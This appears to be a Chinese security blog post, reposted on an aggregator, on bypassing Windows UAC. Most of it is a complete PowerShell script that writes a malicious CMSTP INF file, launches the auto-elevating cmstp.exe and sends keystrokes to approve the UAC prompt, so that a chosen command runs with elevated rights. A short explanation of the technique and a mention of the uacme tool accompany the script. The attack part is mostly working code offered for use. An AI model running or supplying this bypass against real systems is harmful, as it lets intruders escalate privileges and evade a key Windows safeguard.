windows提权(三)-uac提权"

admin 2026-10-15 17:43:55 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

windows提权(三)-uac提权

原创

跃迁
跃迁

跃迁Sec

2026年10月12日 15:16
湖北

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

uac我们前面已经提及过了,简单说明一下,当对系统的更改需要管理员级权限时,UAC 会通知用户,从而让用户有机会批准或拒绝更改。当我们已经获取到管理员组用户权限时,发现当前uac等级较低不能执行相关操作时,我们才需要进行uac提权。

这类主包主要演示两种方法,一种是利用powershell脚本,另一种是直接使用工具,环境是主包的主机

第一种:powershell脚本

Function script:Set-INFFile {[CmdletBinding()]Param (\t[Parameter(HelpMessage=\"Specify the INF file location\")]$InfFileLocation = \"$env:temp\\CMSTP.inf\",
\t[Parameter(HelpMessage=\"Specify the command to launch in a UAC-privileged window\")]\t[String]$CommandToExecute = 'C:\\Windows\\System32\\cmd.exe'\t)
$InfContent = @\"[version]Signature=`$chicago`$AdvancedINF=2.5[DefaultInstall]CustomDestination=CustInstDestSectionAllUsersRunPreSetupCommands=RunPreSetupCommandsSection[RunPreSetupCommandsSection]; Commands Here will be run Before Setup Begins to install$CommandToExecutetaskkill /IM cmstp.exe /F[CustInstDestSectionAllUsers]49000,49001=AllUSer_LDIDSection, 7[AllUSer_LDIDSection]\"HKLM\", \"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\CMMGR32.EXE\", \"ProfileInstallPath\", \"%UnexpectedError%\", \"\"[Strings]ServiceName=\"CorpVPN\"ShortSvcName=\"CorpVPN\"\"@
$InfContent | Out-File $InfFileLocation -Encoding ASCII}

Function Get-Hwnd{  [CmdletBinding()]
  Param  (    [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] [string] $ProcessName  )  Process    {        $ErrorActionPreference = 'Stop'        Try         {            $hwnd = Get-Process -Name $ProcessName | Select-Object -ExpandProperty MainWindowHandle        }        Catch         {            $hwnd = $null        }        $hash = @{        ProcessName = $ProcessName        Hwnd        = $hwnd        }
    New-Object -TypeName PsObject -Property $hash    }}
function Set-WindowActive{  [CmdletBinding()]
  Param  (    [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] [string] $Name  )
  Process  {    $memberDefinition = @'    [DllImport(\"user32.dll\")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);    [DllImport(\"user32.dll\", SetLastError = true)] public static extern bool SetForegroundWindow(IntPtr hWnd);'@
    Add-Type -MemberDefinition $memberDefinition -Name Api -Namespace User32    $hwnd = Get-Hwnd -ProcessName $Name | Select-Object -ExpandProperty Hwnd    If ($hwnd)     {      $onTop = New-Object -TypeName System.IntPtr -ArgumentList (0)      [User32.Api]::SetForegroundWindow($hwnd)      [User32.Api]::ShowWindow($hwnd, 5)    }    Else     {      [string] $hwnd = 'N/A'    }
    $hash = @{      Process = $Name      Hwnd    = $hwnd    }
    New-Object -TypeName PsObject -Property $hash  }}
. Set-INFFile#Needs Windows formsadd-type -AssemblyName System.Windows.FormsIf (Test-Path $InfFileLocation) {#Command to run$ps = new-object system.diagnostics.processstartinfo \"c:\\windows\\system32\\cmstp.exe\"$ps.Arguments = \"/au $InfFileLocation\"$ps.UseShellExecute = $false
#Start it[system.diagnostics.process]::Start($ps)
do{# Do nothing until cmstp is an active window}until ((Set-WindowActive cmstp).Hwnd -ne 0)

#Activate windowSet-WindowActive cmstp
#Send the Enter key[System.Windows.Forms.SendKeys]::SendWait(\"{ENTER}\")}

脚本代码如上,详细原理就是由于cmstp.exe 是 autoElevate 可信程序,加载 INF 文件时会执行 INF 内预定义命令;脚本通过窗口句柄 + SendKeys 自动确认 UAC 弹窗,从而拿到高级uac权限。


windows提权(三)-uac提权" 网络安全文章

windows提权(三)-uac提权"

本文介绍WindowsUAC提权两种方法:一是利用cmstp.exe的autoElevate特性,通过PowerShell脚本生成INF文件并自动确认UAC弹窗执行命令;二是使用开源工具uacme,集成多种UAC绕过方法,选择编号即可调用。文章提供详细脚本代码和操作演示,属于实战经验分享。
收到NX软件侵权律师函,企业第一时间该做什么" 网络安全文章

收到NX软件侵权律师函,企业第一时间该做什么"

本文针对企业收到NX软件侵权律师函后的应对策略进行系统梳理,强调先认清律师函性质并开展内部自查,摸清软件安装与使用情况,测算采购费用,再与原厂沟通摸清诉求,把握谈判节点争取更优条件。文章同时提示法律风险,建议企业将软件资产管理纳入日常合规,并尽早引入专业人士协助处理,以控制风险并达成合理解决方案。
杀毒软件亮着绿灯却瞎了这周安全圈四件大事挨个说" 网络安全文章

杀毒软件亮着绿灯却瞎了这周安全圈四件大事挨个说"

本周安全圈四件大事:LevelBlue披露BigDiskBuster概念验证技术可让WindowsDefender病毒库停止更新但绿灯仍亮,无CVE无补丁;网络安全并购创单季117笔纪录,买家多为非同行;ATM恶意软件Ploutus-D主犯落网,涉案超1500起;攻击者通过高管家人设备绕过防线。文章提供两个自查脚本和四条行动建议,强调信任被钻空子的核心教训。
Linux服务器安全加固技术(9)" 网络安全文章

Linux服务器安全加固技术(9)"

本文指出Linux系统同样面临安全威胁,不能因默认无防护软件而忽视安全检测。文章将介绍入侵检测和安全审计工具,包括Rootkit扫描器和系统完整性验证手段,并强调这些工具并非完美,入侵检测需要持续投入和综合判断。
评论:0   参与:  0